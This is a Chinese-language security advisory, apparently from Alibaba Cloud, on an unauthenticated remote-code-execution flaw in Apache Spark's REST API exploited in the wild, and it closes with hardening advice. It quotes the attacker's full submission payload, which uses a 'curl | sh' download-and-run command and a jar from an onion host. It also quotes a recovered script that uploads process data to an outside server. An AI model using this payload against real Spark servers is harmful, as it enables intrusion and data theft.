2018年7月7日,阿里云安全首次捕獲Spark REST API的未授權RCE漏洞進行攻擊的真實樣本。7月9號起,阿里云平臺已能默認防御此漏洞的大規模利用。
這是首次在真實攻擊中發現使用“暗網”來傳播惡意后門的樣本,預計未來這一趨勢會逐步擴大。目前全網約5000臺 Spark服務器受此漏洞影響。阿里云安全監控到該類型的攻擊還處于小范圍嘗試階段,需要謹防后續的規模性爆發。建議受影響客戶參考章節三的修復建議進行修復。
一、漏洞詳情說明
Apache Spark 是專為大規模數據處理而設計的快速通用的計算引擎,是UC Berkeley AMP lab(加州大學伯克利分校的AMP實驗室)所開源的類Hadoop MapReduce的通用并行框架。為了讓使用者能夠方便的控制系統進行計算和查看任務結果,Spark也提供了 WEB UI圖形化界面和相應的 REST API來方便用戶操作。
Spark作為大數據時代的”計算引擎”,一旦被攻破,企業的核心數據資產、計算能力、用戶敏感數據都將被攻擊者竊取;更進一步的,由于Spark自身的分布式特性,一個攻擊點的攻破可能導致整個集群的淪陷。Spark權限設置不當,可能導致攻擊者無需認證即可通過該 REST API來操作Spark創建任務、刪除任務、查看任務結果等,從而最終獲得執行任意指令的能力。
我們還原了攻擊者的攻擊步驟:
1. 攻擊者通過web掃描的方式發現了一臺Spark webui服務
2. 構造攻擊指令,并通過6066端口發送到該服務器的REST API
POST /v1/submissions/create
host:xxxx.xxx.xx:6066
{ “action”: “CreateSubmissionRequest”, “clientSparkVersion”: “2.1.0”, “appArgs”: [ “curl x.x.x.x/y.sh|sh” ], “appResource”: “https://xxxx.onion.plus/SimpleApp.jar”, “environmentVariables”: { “SPARK_ENV_LOADED”: “1” }, “mainClass”: “SimpleApp”, “sparkProperties”: { “spark.jars”: “https://xxxxxxxx.onion.plus/SimpleApp.jar”, “spark.driver.supervise”: “false”, “spark.app.name”: “SimpleApp”, “spark.eventLog.enabled”: “false”, “spark.submit.deployMode”: “cluster”, “spark.master”: “spark://x.x.x.x:6066” } }
該攻擊payload指示服務器遠程下載https://xxxxxxxx.onion.plus/SimpleApp.jar ,并執行攻擊者指定的任意方法,該攻擊者還通過洋蔥網絡來隱藏自己的相關信息。
3.對該 jar 包進行逆向分析,該 jar 包即是一個簡單的執行命令的后門,執行 jar 包時,Spark服務器將會從洋蔥網絡中下載一段shell腳本并執行。
4.腳本內容如下:
#!/bin/bash
ps ax –sort=-pcpu > /tmp/tmp.txt
curl -F “file=@/tmp/tmp.txt” http://x.x.x.x/re.php
rm -rf /tmp/tmp.txt
該腳本只是簡單的將性能信息打印并回傳,暫未進行進一步的攻擊。
二、漏洞影響與變化態勢
目前全網監控,開放了8080端口暴露在公網的Spark機器共有5000臺左右,黑客可批量接管其中存在權限問題的機器。
在此之前,阿里云安全團隊曾針對分布式計算系統相關的漏洞進行過預警
(詳見:黑客利用Hadoop Yarn資源管理系統未授權訪問漏洞進行攻https://www.toutiao.com/i6552678121449980423/?)
這兩個漏洞原理和利用方法非常相似,這也佐證了之前的預判。
隨著加密貨幣經濟的進一步繁榮,具有強大算力,但是較弱安全能力的分布式應用將面臨更多的漏洞利用和黑客攻擊。
由于Hadoop Yarn未授權漏洞在全網已經成為了黑客挖礦的一種重要手法,我們有理由相信Spark REST API漏洞也將很快被黑產利用。
三、安全專家建議
建議通過iptables或者安全組配置訪問策略,限制對8088、8081、7707、6606等端口的訪問;并且如無必要,不要將接口開放在公網,改為本地或者內網調用;
建議使用Spark的yarn控制模式,并且開啟HTTP Kerberos對WEB UI進行訪問控制;如采用Spark standalone模式,需要自行實現訪問控制的jar包,并設置spark.ui.filters對WEB UI進行訪問控制。(詳見:http://spark.apache.org/docs/latest/configuration.html#security)